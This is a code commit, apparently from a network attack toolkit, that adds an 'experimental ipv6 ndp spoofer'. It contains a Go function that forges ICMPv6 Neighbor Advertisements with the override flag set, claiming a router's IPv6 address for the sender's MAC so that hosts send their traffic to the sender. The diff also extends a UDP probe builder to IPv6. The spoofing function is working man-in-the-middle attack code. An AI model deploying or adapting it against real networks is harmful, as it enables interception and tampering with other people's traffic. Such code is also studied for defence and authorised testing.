new: experimental ipv6 ndp spoofer (closes #851)

packets/icmp6.go

@@ -0,0 +1,38 @@
+package packets
+
+import (
+	"github.com/google/gopacket/layers"
+	"net"
+)
+
+func ICMP6RouterAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.HardwareAddr, dstIP net.IP, routerIP net.IP) (error, []byte) {
+	eth := layers.Ethernet{
+		SrcMAC:       srcHW,
+		DstMAC:       dstHW,
+		EthernetType: layers.EthernetTypeIPv6,
+	}
+	ip6 := layers.IPv6{
+		NextHeader:   layers.IPProtocolICMPv6,
+		TrafficClass: 224,
+		Version:      6,
+		HopLimit:     255,
+		SrcIP:        srcIP,
+		DstIP:        dstIP,
+	}
+	icmp6 := layers.ICMPv6{
+		TypeCode: layers.ICMPv6TypeNeighborAdvertisement << 8,
+	}
+	adv := layers.ICMPv6NeighborAdvertisement{
+		Flags: 0x20 | 0x40, // solicited && override
+		TargetAddress: routerIP,
+		Options: []layers.ICMPv6Option{
+			{
+				Type: layers.ICMPv6OptTargetAddress,
+				Data: srcHW,
+			},
+		},
+	}
+	icmp6.SetNetworkLayerForChecksum(&ip6)
+
+	return Serialize(&eth, &ip6, &icmp6, &adv)
+}

packets/udp.go

@@ -12,21 +12,35 @@ func NewUDPProbe(from net.IP, from_hw net.HardwareAddr, to net.IP, port int) (er
 		EthernetType: layers.EthernetTypeIPv4,
 	}
 
-	ip4 := layers.IPv4{
-		Protocol: layers.IPProtocolUDP,
-		Version:  4,
-		TTL:      64,
-		SrcIP:    from,
-		DstIP:    to,
-	}
-
 	udp := layers.UDP{
 		SrcPort: layers.UDPPort(12345),
 		DstPort: layers.UDPPort(port),
 	}
 	udp.Payload = []byte{0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef}
 
-	udp.SetNetworkLayerForChecksum(&ip4)
+	if to.To4() == nil {
+		ip6 := layers.IPv6{
+			NextHeader: layers.IPProtocolUDP,
+			Version:    6,
+			SrcIP:      from,
+			DstIP:      to,
+			HopLimit:   64,
+		}
 
-	return Serialize(&eth, &ip4, &udp)
+		udp.SetNetworkLayerForChecksum(&ip6)
+
+		return Serialize(&eth, &ip6, &udp)
+	} else {
+		ip4 := layers.IPv4{
+			Protocol: layers.IPProtocolUDP,
+			Version:  4,
+			TTL:      64,
+			SrcIP:    from,
+			DstIP:    to,
+		}
+
+		udp.SetNetworkLayerForChecksum(&ip4)
+
+		return Serialize(&eth, &ip4, &udp)
+	}
 }